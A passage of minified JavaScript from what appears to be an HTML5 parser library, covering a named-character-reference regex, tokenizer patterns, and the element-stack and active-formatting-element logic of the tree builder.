;|Bar;|Equal;))|Up(?:DownVector;|TeeVector;|Vector(?:;|Bar;))|Vector(?:;|Bar;)|arrow;)|o(?:pf;|undImplies;)|rightarrow;|s(?:cr;|h;)|uleDelayed;)|S(?:H(?:CHcy;|cy;)|OFTcy;|acute;|c(?:;|aron;|edil;|irc;|y;)|fr;|hort(?:DownArrow;|LeftArrow;|RightArrow;|UpArrow;)|igma;|mallCircle;|opf;|q(?:rt;|uare(?:;|Intersection;|Su(?:bset(?:;|Equal;)|perset(?:;|Equal;))|Union;))|scr;|tar;|u(?:b(?:;|set(?:;|Equal;))|c(?:ceeds(?:;|Equal;|SlantEqual;|Tilde;)|hThat;)|m;|p(?:;|erset(?:;|Equal;)|set;)))|T(?:HORN;?|RADE;|S(?:Hcy;|cy;)|a(?:b;|u;)|c(?:aron;|edil;|y;)|fr;|h(?:e(?:refore;|ta;)|i(?:ckSpace;|nSpace;))|ilde(?:;|Equal;|FullEqual;|Tilde;)|opf;|ripleDot;|s(?:cr;|trok;))|U(?:a(?:cute;?|rr(?:;|ocir;))|br(?:cy;|eve;)|c(?:irc;?|y;)|dblac;|fr;|grave;?|macr;|n(?:der(?:B(?:ar;|rac(?:e;|ket;))|Parenthesis;)|ion(?:;|Plus;))|o(?:gon;|pf;)|p(?:Arrow(?:;|Bar;|DownArrow;)|DownArrow;|Equilibrium;|Tee(?:;|Arrow;)|arrow;|downarrow;|per(?:LeftArrow;|RightArrow;)|si(?:;|lon;))|ring;|scr;|tilde;|uml;?)|V(?:Dash;|bar;|cy;|dash(?:;|l;)|e(?:e;|r(?:bar;|t(?:;|ical(?:Bar;|Line;|Separator;|Tilde;))|yThinSpace;))|fr;|opf;|scr;|vdash;)|W(?:circ;|edge;|fr;|opf;|scr;)|X(?:fr;|i;|opf;|scr;)|Y(?:Acy;|Icy;|Ucy;|acute;?|c(?:irc;|y;)|fr;|opf;|scr;|uml;)|Z(?:Hcy;|acute;|c(?:aron;|y;)|dot;|e(?:roWidthSpace;|ta;)|fr;|opf;|scr;)|a(?:acute;?|breve;|c(?:;|E;|d;|irc;?|ute;?|y;)|elig;?|f(?:;|r;)|grave;?|l(?:e(?:fsym;|ph;)|pha;)|m(?:a(?:cr;|lg;)|p;?)|n(?:d(?:;|and;|d;|slope;|v;)|g(?:;|e;|le;|msd(?:;|a(?:a;|b;|c;|d;|e;|f;|g;|h;))|rt(?:;|vb(?:;|d;))|s(?:ph;|t;)|zarr;))|o(?:gon;|pf;)|p(?:;|E;|acir;|e;|id;|os;|prox(?:;|eq;))|ring;?|s(?:cr;|t;|ymp(?:;|eq;))|tilde;?|uml;?|w(?:conint;|int;))|b(?:Not;|a(?:ck(?:cong;|epsilon;|prime;|sim(?:;|eq;))|r(?:vee;|wed(?:;|ge;)))|brk(?:;|tbrk;)|c(?:ong;|y;)|dquo;|e(?:caus(?:;|e;)|mptyv;|psi;|rnou;|t(?:a;|h;|ween;))|fr;|ig(?:c(?:ap;|irc;|up;)|o(?:dot;|plus;|times;)|s(?:qcup;|tar;)|triangle(?:down;|up;)|uplus;|vee;|wedge;)|karow;|l(?:a(?:ck(?:lozenge;|square;|triangle(?:;|down;|left;|right;))|nk;)|k(?:1(?:2;|4;)|34;)|ock;)|n(?:e(?:;|quiv;)|ot;)|o(?:pf;|t(?:;|tom;)|wtie;|x(?:D(?:L;|R;|l;|r;)|H(?:;|D;|U;|d;|u;)|U(?:L;|R;|l;|r;)|V(?:;|H;|L;|R;|h;|l;|r;)|box;|d(?:L;|R;|l;|r;)|h(?:;|D;|U;|d;|u;)|minus;|plus;|times;|u(?:L;|R;|l;|r;)|v(?:;|H;|L;|R;|h;|l;|r;)))|prime;|r(?:eve;|vbar;?)|s(?:cr;|emi;|im(?:;|e;)|ol(?:;|b;|hsub;))|u(?:ll(?:;|et;)|mp(?:;|E;|e(?:;|q;))))|c(?:a(?:cute;|p(?:;|and;|brcup;|c(?:ap;|up;)|dot;|s;)|r(?:et;|on;))|c(?:a(?:ps;|ron;)|edil;?|irc;|ups(?:;|sm;))|dot;|e(?:dil;?|mptyv;|nt(?:;|erdot;|))|fr;|h(?:cy;|eck(?:;|mark;)|i;)|ir(?:;|E;|c(?:;|eq;|le(?:arrow(?:left;|right;)|d(?:R;|S;|ast;|circ;|dash;)))|e;|fnint;|mid;|scir;)|lubs(?:;|uit;)|o(?:lon(?:;|e(?:;|q;))|m(?:ma(?:;|t;)|p(?:;|fn;|le(?:ment;|xes;)))|n(?:g(?:;|dot;)|int;)|p(?:f;|rod;|y(?:;|sr;|)))|r(?:arr;|oss;)|s(?:cr;|u(?:b(?:;|e;)|p(?:;|e;)))|tdot;|u(?:darr(?:l;|r;)|e(?:pr;|sc;)|larr(?:;|p;)|p(?:;|brcap;|c(?:ap;|up;)|dot;|or;|s;)|r(?:arr(?:;|m;)|ly(?:eq(?:prec;|succ;)|vee;|wedge;)|ren;?|vearrow(?:left;|right;))|vee;|wed;)|w(?:conint;|int;)|ylcty;)|d(?:Arr;|Har;|a(?:gger;|leth;|rr;|sh(?:;|v;))|b(?:karow;|lac;)|c(?:aron;|y;)|d(?:;|a(?:gger;|rr;)|otseq;)|e(?:g;?|lta;|mptyv;)|f(?:isht;|r;)|har(?:l;|r;)|i(?:am(?:;|ond(?:;|suit;)|s;)|e;|gamma;|sin;|v(?:;|ide(?:;|ontimes;|)|onx;))|jcy;|lc(?:orn;|rop;)|o(?:llar;|pf;|t(?:;|eq(?:;|dot;)|minus;|plus;|square;)|ublebarwedge;|wn(?:arrow;|downarrows;|harpoon(?:left;|right;)))|r(?:bkarow;|c(?:orn;|rop;))|s(?:c(?:r;|y;)|ol;|trok;)|t(?:dot;|ri(?:;|f;))|u(?:arr;|har;)|wangle;|z(?:cy;|igrarr;))|e(?:D(?:Dot;|ot;)|a(?:cute;?|ster;)|c(?:aron;|ir(?:;|c;?)|olon;|y;)|dot;|e;|f(?:Dot;|r;)|g(?:;|rave;?|s(?:;|dot;))|l(?:;|inters;|l;|s(?:;|dot;))|m(?:acr;|pty(?:;|set;|v;)|sp(?:1(?:3;|4;)|;))|n(?:g;|sp;)|o(?:gon;|pf;)|p(?:ar(?:;|sl;)|lus;|si(?:;|lon;|v;))|q(?:c(?:irc;|olon;)|s(?:im;|lant(?:gtr;|less;))|u(?:als;|est;|iv(?:;|DD;))|vparsl;)|r(?:Dot;|arr;)|s(?:cr;|dot;|im;)|t(?:a;|h;?)|u(?:ml;?|ro;)|x(?:cl;|ist;|p(?:ectation;|onentiale;)))|f(?:allingdotseq;|cy;|emale;|f(?:ilig;|l(?:ig;|lig;)|r;)|ilig;|jlig;|l(?:at;|lig;|tns;)|nof;|o(?:pf;|r(?:all;|k(?:;|v;)))|partint;|r(?:a(?:c(?:1(?:2;?|3;|4;?|5;|6;|8;)|2(?:3;|5;)|3(?:4;?|5;|8;)|45;|5(?:6;|8;)|78;)|sl;)|own;)|scr;)|g(?:E(?:;|l;)|a(?:cute;|mma(?:;|d;)|p;)|breve;|c(?:irc;|y;)|dot;|e(?:;|l;|q(?:;|q;|slant;)|s(?:;|cc;|dot(?:;|o(?:;|l;))|l(?:;|es;)))|fr;|g(?:;|g;)|imel;|jcy;|l(?:;|E;|a;|j;)|n(?:E;|ap(?:;|prox;)|e(?:;|q(?:;|q;))|sim;)|opf;|rave;|s(?:cr;|im(?:;|e;|l;))|t(?:;|c(?:c;|ir;)|dot;|lPar;|quest;|r(?:a(?:pprox;|rr;)|dot;|eq(?:less;|qless;)|less;|sim;)|)|v(?:ertneqq;|nE;))|h(?:Arr;|a(?:irsp;|lf;|milt;|r(?:dcy;|r(?:;|cir;|w;)))|bar;|circ;|e(?:arts(?:;|uit;)|llip;|rcon;)|fr;|ks(?:earow;|warow;)|o(?:arr;|mtht;|ok(?:leftarrow;|rightarrow;)|pf;|rbar;)|s(?:cr;|lash;|trok;)|y(?:bull;|phen;))|i(?:acute;?|c(?:;|irc;?|y;)|e(?:cy;|xcl;?)|f(?:f;|r;)|grave;?|i(?:;|i(?:int;|nt;)|nfin;|ota;)|jlig;|m(?:a(?:cr;|g(?:e;|line;|part;)|th;)|of;|ped;)|n(?:;|care;|fin(?:;|tie;)|odot;|t(?:;|cal;|e(?:gers;|rcal;)|larhk;|prod;))|o(?:cy;|gon;|pf;|ta;)|prod;|quest;?|s(?:cr;|in(?:;|E;|dot;|s(?:;|v;)|v;))|t(?:;|ilde;)|u(?:kcy;|ml;?))|j(?:c(?:irc;|y;)|fr;|math;|opf;|s(?:cr;|ercy;)|ukcy;)|k(?:appa(?:;|v;)|c(?:edil;|y;)|fr;|green;|hcy;|jcy;|opf;|scr;)|l(?:A(?:arr;|rr;|tail;)|Barr;|E(?:;|g;)|Har;|a(?:cute;|emptyv;|gran;|mbda;|ng(?:;|d;|le;)|p;|quo;?|rr(?:;|b(?:;|fs;)|fs;|hk;|lp;|pl;|sim;|tl;)|t(?:;|ail;|e(?:;|s;)))|b(?:arr;|brk;|r(?:ac(?:e;|k;)|k(?:e;|sl(?:d;|u;))))|c(?:aron;|e(?:dil;|il;)|ub;|y;)|d(?:ca;|quo(?:;|r;)|r(?:dhar;|ushar;)|sh;)|e(?:;|ft(?:arrow(?:;|tail;)|harpoon(?:down;|up;)|leftarrows;|right(?:arrow(?:;|s;)|harpoons;|squigarrow;)|threetimes;)|g;|q(?:;|q;|slant;)|s(?:;|cc;|dot(?:;|o(?:;|r;))|g(?:;|es;)|s(?:approx;|dot;|eq(?:gtr;|qgtr;)|gtr;|sim;)))|f(?:isht;|loor;|r;)|g(?:;|E;)|h(?:ar(?:d;|u(?:;|l;))|blk;)|jcy;|l(?:;|arr;|corner;|hard;|tri;)|m(?:idot;|oust(?:;|ache;))|n(?:E;|ap(?:;|prox;)|e(?:;|q(?:;|q;))|sim;)|o(?:a(?:ng;|rr;)|brk;|ng(?:left(?:arrow;|rightarrow;)|mapsto;|rightarrow;)|oparrow(?:left;|right;)|p(?:ar;|f;|lus;)|times;|w(?:ast;|bar;)|z(?:;|enge;|f;))|par(?:;|lt;)|r(?:arr;|corner;|har(?:;|d;)|m;|tri;)|s(?:aquo;|cr;|h;|im(?:;|e;|g;)|q(?:b;|uo(?:;|r;))|trok;)|t(?:;|c(?:c;|ir;)|dot;|hree;|imes;|larr;|quest;|r(?:Par;|i(?:;|e;|f;))|)|ur(?:dshar;|uhar;)|v(?:ertneqq;|nE;))|m(?:DDot;|a(?:cr;?|l(?:e;|t(?:;|ese;))|p(?:;|sto(?:;|down;|left;|up;))|rker;)|c(?:omma;|y;)|dash;|easuredangle;|fr;|ho;|i(?:cro;?|d(?:;|ast;|cir;|dot;?)|nus(?:;|b;|d(?:;|u;)))|l(?:cp;|dr;)|nplus;|o(?:dels;|pf;)|p;|s(?:cr;|tpos;)|u(?:;|ltimap;|map;))|n(?:G(?:g;|t(?:;|v;))|L(?:eft(?:arrow;|rightarrow;)|l;|t(?:;|v;))|Rightarrow;|V(?:Dash;|dash;)|a(?:bla;|cute;|ng;|p(?:;|E;|id;|os;|prox;)|tur(?:;|al(?:;|s;)))|b(?:sp;?|ump(?:;|e;))|c(?:a(?:p;|ron;)|edil;|ong(?:;|dot;)|up;|y;)|dash;|e(?:;|Arr;|ar(?:hk;|r(?:;|ow;))|dot;|quiv;|s(?:ear;|im;)|xist(?:;|s;))|fr;|g(?:E;|e(?:;|q(?:;|q;|slant;)|s;)|sim;|t(?:;|r;))|h(?:Arr;|arr;|par;)|i(?:;|s(?:;|d;)|v;)|jcy;|l(?:Arr;|E;|arr;|dr;|e(?:;|ft(?:arrow;|rightarrow;)|q(?:;|q;|slant;)|s(?:;|s;))|sim;|t(?:;|ri(?:;|e;)))|mid;|o(?:pf;|t(?:;|in(?:;|E;|dot;|v(?:a;|b;|c;))|ni(?:;|v(?:a;|b;|c;))|))|p(?:ar(?:;|allel;|sl;|t;)|olint;|r(?:;|cue;|e(?:;|c(?:;|eq;))))|r(?:Arr;|arr(?:;|c;|w;)|ightarrow;|tri(?:;|e;))|s(?:c(?:;|cue;|e;|r;)|hort(?:mid;|parallel;)|im(?:;|e(?:;|q;))|mid;|par;|qsu(?:be;|pe;)|u(?:b(?:;|E;|e;|set(?:;|eq(?:;|q;)))|cc(?:;|eq;)|p(?:;|E;|e;|set(?:;|eq(?:;|q;)))))|t(?:gl;|ilde;?|lg;|riangle(?:left(?:;|eq;)|right(?:;|eq;)))|u(?:;|m(?:;|ero;|sp;))|v(?:Dash;|Harr;|ap;|dash;|g(?:e;|t;)|infin;|l(?:Arr;|e;|t(?:;|rie;))|r(?:Arr;|trie;)|sim;)|w(?:Arr;|ar(?:hk;|r(?:;|ow;))|near;))|o(?:S;|a(?:cute;?|st;)|c(?:ir(?:;|c;?)|y;)|d(?:ash;|blac;|iv;|ot;|sold;)|elig;|f(?:cir;|r;)|g(?:on;|rave;?|t;)|h(?:bar;|m;)|int;|l(?:arr;|c(?:ir;|ross;)|ine;|t;)|m(?:acr;|ega;|i(?:cron;|d;|nus;))|opf;|p(?:ar;|erp;|lus;)|r(?:;|arr;|d(?:;|er(?:;|of;)|f;?|m;?)|igof;|or;|slope;|v;)|s(?:cr;|lash;?|ol;)|ti(?:lde;?|mes(?:;|as;))|uml;?|vbar;)|p(?:ar(?:;|a(?:;|llel;|)|s(?:im;|l;)|t;)|cy;|er(?:cnt;|iod;|mil;|p;|tenk;)|fr;|h(?:i(?:;|v;)|mmat;|one;)|i(?:;|tchfork;|v;)|l(?:an(?:ck(?:;|h;)|kv;)|us(?:;|acir;|b;|cir;|d(?:o;|u;)|e;|mn;?|sim;|two;))|m;|o(?:intint;|pf;|und;?)|r(?:;|E;|ap;|cue;|e(?:;|c(?:;|approx;|curlyeq;|eq;|n(?:approx;|eqq;|sim;)|sim;))|ime(?:;|s;)|n(?:E;|ap;|sim;)|o(?:d;|f(?:alar;|line;|surf;)|p(?:;|to;))|sim;|urel;)|s(?:cr;|i;)|uncsp;)|q(?:fr;|int;|opf;|prime;|scr;|u(?:at(?:ernions;|int;)|est(?:;|eq;)|ot;?))|r(?:A(?:arr;|rr;|tail;)|Barr;|Har;|a(?:c(?:e;|ute;)|dic;|emptyv;|ng(?:;|d;|e;|le;)|quo;?|rr(?:;|ap;|b(?:;|fs;)|c;|fs;|hk;|lp;|pl;|sim;|tl;|w;)|t(?:ail;|io(?:;|nals;)))|b(?:arr;|brk;|r(?:ac(?:e;|k;)|k(?:e;|sl(?:d;|u;))))|c(?:aron;|e(?:dil;|il;)|ub;|y;)|d(?:ca;|ldhar;|quo(?:;|r;)|sh;)|e(?:al(?:;|ine;|part;|s;)|ct;|g;?)|f(?:isht;|loor;|r;)|h(?:ar(?:d;|u(?:;|l;))|o(?:;|v;))|i(?:ght(?:arrow(?:;|tail;)|harpoon(?:down;|up;)|left(?:arrows;|harpoons;)|rightarrows;|squigarrow;|threetimes;)|ng;|singdotseq;)|l(?:arr;|har;|m;)|moust(?:;|ache;)|nmid;|o(?:a(?:ng;|rr;)|brk;|p(?:ar;|f;|lus;)|times;)|p(?:ar(?:;|gt;)|polint;)|rarr;|s(?:aquo;|cr;|h;|q(?:b;|uo(?:;|r;)))|t(?:hree;|imes;|ri(?:;|e;|f;|ltri;))|uluhar;|x;)|s(?:acute;|bquo;|c(?:;|E;|a(?:p;|ron;)|cue;|e(?:;|dil;)|irc;|n(?:E;|ap;|sim;)|polint;|sim;|y;)|dot(?:;|b;|e;)|e(?:Arr;|ar(?:hk;|r(?:;|ow;))|ct;?|mi;|swar;|tm(?:inus;|n;)|xt;)|fr(?:;|own;)|h(?:arp;|c(?:hcy;|y;)|ort(?:mid;|parallel;)|y;?)|i(?:gma(?:;|f;|v;)|m(?:;|dot;|e(?:;|q;)|g(?:;|E;)|l(?:;|E;)|ne;|plus;|rarr;))|larr;|m(?:a(?:llsetminus;|shp;)|eparsl;|i(?:d;|le;)|t(?:;|e(?:;|s;)))|o(?:ftcy;|l(?:;|b(?:;|ar;))|pf;)|pa(?:des(?:;|uit;)|r;)|q(?:c(?:ap(?:;|s;)|up(?:;|s;))|su(?:b(?:;|e;|set(?:;|eq;))|p(?:;|e;|set(?:;|eq;)))|u(?:;|ar(?:e;|f;)|f;))|rarr;|s(?:cr;|etmn;|mile;|tarf;)|t(?:ar(?:;|f;)|r(?:aight(?:epsilon;|phi;)|ns;))|u(?:b(?:;|E;|dot;|e(?:;|dot;)|mult;|n(?:E;|e;)|plus;|rarr;|s(?:et(?:;|eq(?:;|q;)|neq(?:;|q;))|im;|u(?:b;|p;)))|cc(?:;|approx;|curlyeq;|eq;|n(?:approx;|eqq;|sim;)|sim;)|m;|ng;|p(?:1;?|2;?|3;?|;|E;|d(?:ot;|sub;)|e(?:;|dot;)|hs(?:ol;|ub;)|larr;|mult;|n(?:E;|e;)|plus;|s(?:et(?:;|eq(?:;|q;)|neq(?:;|q;))|im;|u(?:b;|p;))))|w(?:Arr;|ar(?:hk;|r(?:;|ow;))|nwar;)|zlig;?)|t(?:a(?:rget;|u;)|brk;|c(?:aron;|edil;|y;)|dot;|elrec;|fr;|h(?:e(?:re(?:4;|fore;)|ta(?:;|sym;|v;))|i(?:ck(?:approx;|sim;)|nsp;)|k(?:ap;|sim;)|orn;?)|i(?:lde;|mes(?:;|b(?:;|ar;)|d;|)|nt;)|o(?:ea;|p(?:;|bot;|cir;|f(?:;|ork;))|sa;)|prime;|r(?:ade;|i(?:angle(?:;|down;|left(?:;|eq;)|q;|right(?:;|eq;))|dot;|e;|minus;|plus;|sb;|time;)|pezium;)|s(?:c(?:r;|y;)|hcy;|trok;)|w(?:ixt;|ohead(?:leftarrow;|rightarrow;)))|u(?:Arr;|Har;|a(?:cute;?|rr;)|br(?:cy;|eve;)|c(?:irc;?|y;)|d(?:arr;|blac;|har;)|f(?:isht;|r;)|grave;?|h(?:ar(?:l;|r;)|blk;)|l(?:c(?:orn(?:;|er;)|rop;)|tri;)|m(?:acr;|l;?)|o(?:gon;|pf;)|p(?:arrow;|downarrow;|harpoon(?:left;|right;)|lus;|si(?:;|h;|lon;)|uparrows;)|r(?:c(?:orn(?:;|er;)|rop;)|ing;|tri;)|scr;|t(?:dot;|ilde;|ri(?:;|f;))|u(?:arr;|ml;?)|wangle;)|v(?:Arr;|Bar(?:;|v;)|Dash;|a(?:ngrt;|r(?:epsilon;|kappa;|nothing;|p(?:hi;|i;|ropto;)|r(?:;|ho;)|s(?:igma;|u(?:bsetneq(?:;|q;)|psetneq(?:;|q;)))|t(?:heta;|riangle(?:left;|right;))))|cy;|dash;|e(?:e(?:;|bar;|eq;)|llip;|r(?:bar;|t;))|fr;|ltri;|nsu(?:b;|p;)|opf;|prop;|rtri;|s(?:cr;|u(?:bn(?:E;|e;)|pn(?:E;|e;)))|zigzag;)|w(?:circ;|e(?:d(?:bar;|ge(?:;|q;))|ierp;)|fr;|opf;|p;|r(?:;|eath;)|scr;)|x(?:c(?:ap;|irc;|up;)|dtri;|fr;|h(?:Arr;|arr;)|i;|l(?:Arr;|arr;)|map;|nis;|o(?:dot;|p(?:f;|lus;)|time;)|r(?:Arr;|arr;)|s(?:cr;|qcup;)|u(?:plus;|tri;)|vee;|wedge;)|y(?:ac(?:ute;?|y;)|c(?:irc;|y;)|en;?|fr;|icy;|opf;|scr;|u(?:cy;|ml;?))|z(?:acute;|c(?:aron;|y;)|dot;|e(?:etrf;|ta;)|fr;|hcy;|igrarr;|opf;|scr;|w(?:j;|nj;)))|[\s\S]/g,zv2=32,wv2=/[^\r"&\u0000]+/g,Hv2=/[^\r'&\u0000]+/g,Jv2=/[^\r\t\n\f &>\u0000]+/g,Ov2=/[^\r\t\n\f \/>A-Z\u0000]+/g,Xv2=/[^\r\t\n\f \/=>A-Z\u0000]+/g,$v2=/[^\]\r\u0000\uffff]*/g,_v2=/[^&<\r\u0000\uffff]*/g,RYK=/[^<\r\u0000\uffff]*/g,Gv2=/[^\r\u0000\uffff]*/g,yYK=/(?:(\/)?([a-z]+)>)|[\s\S]/g,IYK=/(?:([-a-z]+)[ \t\n\f]*=[ \t\n\f]*('[^'&\r\u0000]*'|"[^"&\r\u0000]*"|[^\t\n\r\f "&'\u0000>][^&> \t\n\r\f\u0000]*[ \t\n\f]))|[\s\S]/g,wf1=/[^\x09\x0A\x0C\x0D\x20]/,Mb6=/[^\x09\x0A\x0C\x0D\x20]/g,Zv2=/[^\x00\x09\x0A\x0C\x0D\x20]/,Y9A=/^[\x09\x0A\x0C\x0D\x20]+/,Hf1=/\x00/g;function Pj(A){var K=16384;if(A.length<K)return String.fromCharCode.apply(String,A);var q="";for(var Y=0;Y<A.length;Y+=K)q+=String.fromCharCode.apply(String,A.slice(Y,Y+K));return q}function Wv2(A){var K=[];for(var q=0;q<A.length;q++)K[q]=A.charCodeAt(q);return K}function o2(A,K){if(typeof K==="string")return A.namespaceURI===Aq.HTML&&A.localName===K;var q=K[A.namespaceURI];return q&&q[A.localName]}function SYK(A){return o2(A,pYK)}function hYK(A){if(o2(A,dYK))return!0;if(A.namespaceURI===Aq.MATHML&&A.localName==="annotation-xml"){var K=A.getAttribute("encoding");if(K)K=K.toLowerCase();if(K==="text/html"||K==="application/xhtml+xml")return!0}return!1}function Dv2(A){if(A in kYK)return kYK[A];else return A}function bYK(A){for(var K=0,q=A.length;K<q;K++)if(A[K][0]in EYK)A[K][0]=EYK[A[K][0]]}function xYK(A){for(var K=0,q=A.length;K<q;K++)if(A[K][0]==="definitionurl"){A[K][0]="definitionURL";break}}function Pb6(A){for(var K=0,q=A.length;K<q;K++)if(A[K][0]in vYK)A[K].push(vYK[A[K][0]])}function uYK(A,K){for(var q=0,Y=A.length;q<Y;q++){var z=A[q][0],w=A[q][1];if(K.hasAttribute(z))continue;K._setAttribute(z,w)}}gY.ElementStack=function(){this.elements=[],this.top=null};gY.ElementStack.prototype.push=function(A){this.elements.push(A),this.top=A};gY.ElementStack.prototype.pop=function(A){this.elements.pop(),this.top=this.elements[this.elements.length-1]};gY.ElementStack.prototype.popTag=function(A){for(var K=this.elements.length-1;K>0;K--){var q=this.elements[K];if(o2(q,A))break}this.elements.length=K,this.top=this.elements[K-1]};gY.ElementStack.prototype.popElementType=function(A){for(var K=this.elements.length-1;K>0;K--)if(this.elements[K]instanceof A)break;this.elements.length=K,this.top=this.elements[K-1]};gY.ElementStack.prototype.popElement=function(A){for(var K=this.elements.length-1;K>0;K--)if(this.elements[K]===A)break;this.elements.length=K,this.top=this.elements[K-1]};gY.ElementStack.prototype.removeElement=function(A){if(this.top===A)this.pop();else{var K=this.elements.lastIndexOf(A);if(K!==-1)this.elements.splice(K,1)}};gY.ElementStack.prototype.clearToContext=function(A){for(var K=this.elements.length-1;K>0;K--)if(o2(this.elements[K],A))break;this.elements.length=K+1,this.top=this.elements[K]};gY.ElementStack.prototype.contains=function(A){return this.inSpecificScope(A,Object.create(null))};gY.ElementStack.prototype.inSpecificScope=function(A,K){for(var q=this.elements.length-1;q>=0;q--){var Y=this.elements[q];if(o2(Y,A))return!0;if(o2(Y,K))return!1}return!1};gY.ElementStack.prototype.elementInSpecificScope=function(A,K){for(var q=this.elements.length-1;q>=0;q--){var Y=this.elements[q];if(Y===A)return!0;if(o2(Y,K))return!1}return!1};gY.ElementStack.prototype.elementTypeInSpecificScope=function(A,K){for(var q=this.elements.length-1;q>=0;q--){var Y=this.elements[q];if(Y instanceof A)return!0;if(o2(Y,K))return!1}return!1};gY.ElementStack.prototype.inScope=function(A){return this.inSpecificScope(A,Dm)};gY.ElementStack.prototype.elementInScope=function(A){return this.elementInSpecificScope(A,Dm)};gY.ElementStack.prototype.elementTypeInScope=function(A){return this.elementTypeInSpecificScope(A,Dm)};gY.ElementStack.prototype.inButtonScope=function(A){return this.inSpecificScope(A,Nb6)};gY.ElementStack.prototype.inListItemScope=function(A){return this.inSpecificScope(A,Xf1)};gY.ElementStack.prototype.inTableScope=function(A){return this.inSpecificScope(A,UYK)};gY.ElementStack.prototype.inSelectScope=function(A){for(var K=this.elements.length-1;K>=0;K--){var q=this.elements[K];if(q.namespaceURI!==Aq.HTML)return!1;var Y=q.localName;if(Y===A)return!0;if(Y!=="optgroup"&&Y!=="option")return!1}return!1};gY.ElementStack.prototype.generateImpliedEndTags=function(A,K){var q=K?FYK:gYK;for(var Y=this.elements.length-1;Y>=0;Y--){var z=this.elements[Y];if(A&&o2(z,A))break;if(!o2(this.elements[Y],q))break}this.elements.length=Y+1,this.top=this.elements[Y]};gY.ActiveFormattingElements=function(){this.list=[],this.attrs=[]};gY.ActiveFormattingElements.prototype.MARKER={localName:"|"};gY.ActiveFormattingElements.prototype.insertMarker=function(){this.list.push(this.MARKER),this.attrs.push(this.MARKER)};gY.ActiveFormattingElements.prototype.push=function(A,K){var q=0;for(var Y=this.list.length-1;Y>=0;Y--){if(this.list[Y]===this.MARKER)break;if(H(A,this.list[Y],this.attrs[Y])){if(q++,q===3){this.list.splice(Y,1),this.attrs.splice(Y,1);break}}}this.list.push(A);var z=[];for(var w=0;w<K.length;w++)z[w]=K[w];this.attrs.push(z);function H(J,O,X){if(J.localName!==O.localName)return!1;if(J._numattrs!==X.length)return!1;for(var $=0,_=X.length;$<_;$++){var G=X[$][0],Z=X[$][1];if(!J.hasAttribute(G))return!1;if(J.getAttribute(G)!==Z)return!1}return!0}};gY.ActiveFormattingElements.prototype.clearToMarker=function(){for(var A=this.list.length-1;A>=0;A--)if(this.list[A]===this.MARKER)break;if(A<0)A=0;this.list.length=A,this.attrs.length=A};gY.ActiveFormattingElements.prototype.findElementByTag=function(A){for(var K=this.list.length-1;K>=0;K--){var q=this.list[K];if(q===this.MARKER)break;if(q.localName===A)return q}return null};gY.ActiveFormattingElements.prototype.indexOf=function(A){return this.list.lastIndexOf(A)};gY.ActiveFormattingElements.prototype.remove=function(A){var K=this.list.lastIndexOf(A);if(K!==-1)this.list.splice(K,1),this.attrs.splice(K,1)};gY.ActiveFormattingElements.prototype.replace=function(A,K,q){var Y=this.list.lastIndexOf(A);if(Y!==-1)this.list[Y]=K,this.attrs[Y]=q};gY.ActiveFormattingElements.prototype.insertAfter=function(A,K){var q=this.list.lastIndexOf(A);if(q!==-1)this.list.splice(q,0,K),this.attrs.splice(q,0,K)};function gY(A,K,q){var Y=null,z=0,w=0,H=!1,J=!1,O=0,X=[],$="",_=!0,G=0,Z=E8,W,D,j="",M="",P=[],f="",N="",T=[],C=[],R=[],x=[],y=[],B=!1,b=G9,F=null,Q=[],u=new gY.ElementStack,d=new gY.ActiveFormattingElements,r=K!==void 0,c=null,YA=null,e=!0;if(K)e=K.ownerDocument._scripting_enabled;if(q&&q.scripting_enabled===!1)e=!1;var qA=!0,HA=!1,_A,a,JA=[],jA=!1,MA=!1,hA={document:function(){return yA},_asDocumentFragment:function(){var IA=yA.createDocumentFragment(),bA=yA.firstChild;while(bA.hasChildNodes())IA.appendChild(bA.firstChild);return IA},pause:function(){G++},resume:function(){G--,this.parse("")},parse:function(IA,bA,D1){var W6;if(G>0)return $+=IA,!0;if(O===0){if($)IA=$+IA,$="";if(bA)IA+="",H=!0;if(Y=IA,z=IA.length,w=0,_){if(_=!1,Y.charCodeAt(0)===65279)w=1}O++,W6=GA(D1),$=Y.substring(w,z),O--}else{if(O++,X.push(Y,z,w),Y=IA,z=IA.length,w=0,GA(),W6=!1,$=Y.substring(w,z),w=X.pop(),z=X.pop(),Y=X.pop(),$)Y=$+Y.substring(w),z=Y.length,w=0,$="";O--}return W6}},yA=new oT2(!0,A);if(yA._parser=hA,yA._scripting_enabled=e,K){if(K.ownerDocument._quirks)yA._quirks=!0;if(K.ownerDocument._limitedQuirks)yA._limitedQuirks=!0;if(K.namespaceURI===Aq.HTML)switch(K.localName){case"title":case"textarea":Z=X9;break;case"style":case"xmp":case"iframe":case"noembed":case"noframes":case"script":case"plaintext":Z=S3;break}var AA=yA.createElement("html");if(yA._appendChild(AA),u.push(AA),K instanceof r2.HTMLTemplateElement)Q.push(B$);e8();for(var wA=K;wA!==null;wA=wA.parentElement)if(wA instanceof r2.HTMLFormElement){YA=wA;break}}function GA(IA){var bA,D1,W6,p6;while(w<z){if(G>0||IA&&IA())return!0;switch(typeof Z.lookahead){case"undefined":if(bA=Y.charCodeAt(w++),J){if(J=!1,bA===10){w++;continue}}switch(bA){case 13:if(w<z){if(Y.charCodeAt(w)===10)w++}else J=!0;Z(10);break;case 65535:if(H&&w===z){Z(zf1);break}default:Z(bA);break}break;case"number":bA=Y.charCodeAt(w);var U8=Z.lookahead,DK=!0;if(U8<0)DK=!1,U8=-U8;if(U8<z-w)D1=DK?Y.substring(w,w+U8):null,p6=!1;else if(H){if(D1=DK?Y.substring(w,z):null,p6=!0,bA===65535&&w===z-1)bA=zf1}else return!0;Z(bA,D1,p6);break;case"string":bA=Y.charCodeAt(w),W6=Z.lookahead;var J5=Y.indexOf(W6,w);if(J5!==-1)D1=Y.substring(w,J5+W6.length),p6=!1;else{if(!H)return!0;if(D1=Y.substring(w,z),bA===65535&&w===z-1)bA=zf1;p6=!0}Z(bA,D1,p6);break}}return!1}function OA(IA,bA){for(var D1=0;D1<y.length;D1++)if(y[D1][0]===IA)return;if(bA!==void 0)y.push([IA,bA]);else y.push([IA])}function t(){IYK.lastIndex=w-1;var IA=IYK.exec(Y);if(!IA)throw Error("should never happen");var bA=IA[1];if(!bA)return!1;var D1=IA[2],W6=D1.length;switch(D1[0]){case'"':case"'":D1=D1.substring(1,W6-1),w+=IA[0].length-1,Z=E1;break;default:Z=gA,w+=IA[0].length-1,D1=D1.substring(0,W6-1);break}for(var p6=0;p6<y.length;p6++)if(y[p6][0]===bA)return!0;return y.push([bA,D1]),!0}function XA(){B=!1,j="",y.length=0}function VA(){B=!0,j="",y.length=0}function vA(){P.length=0}function 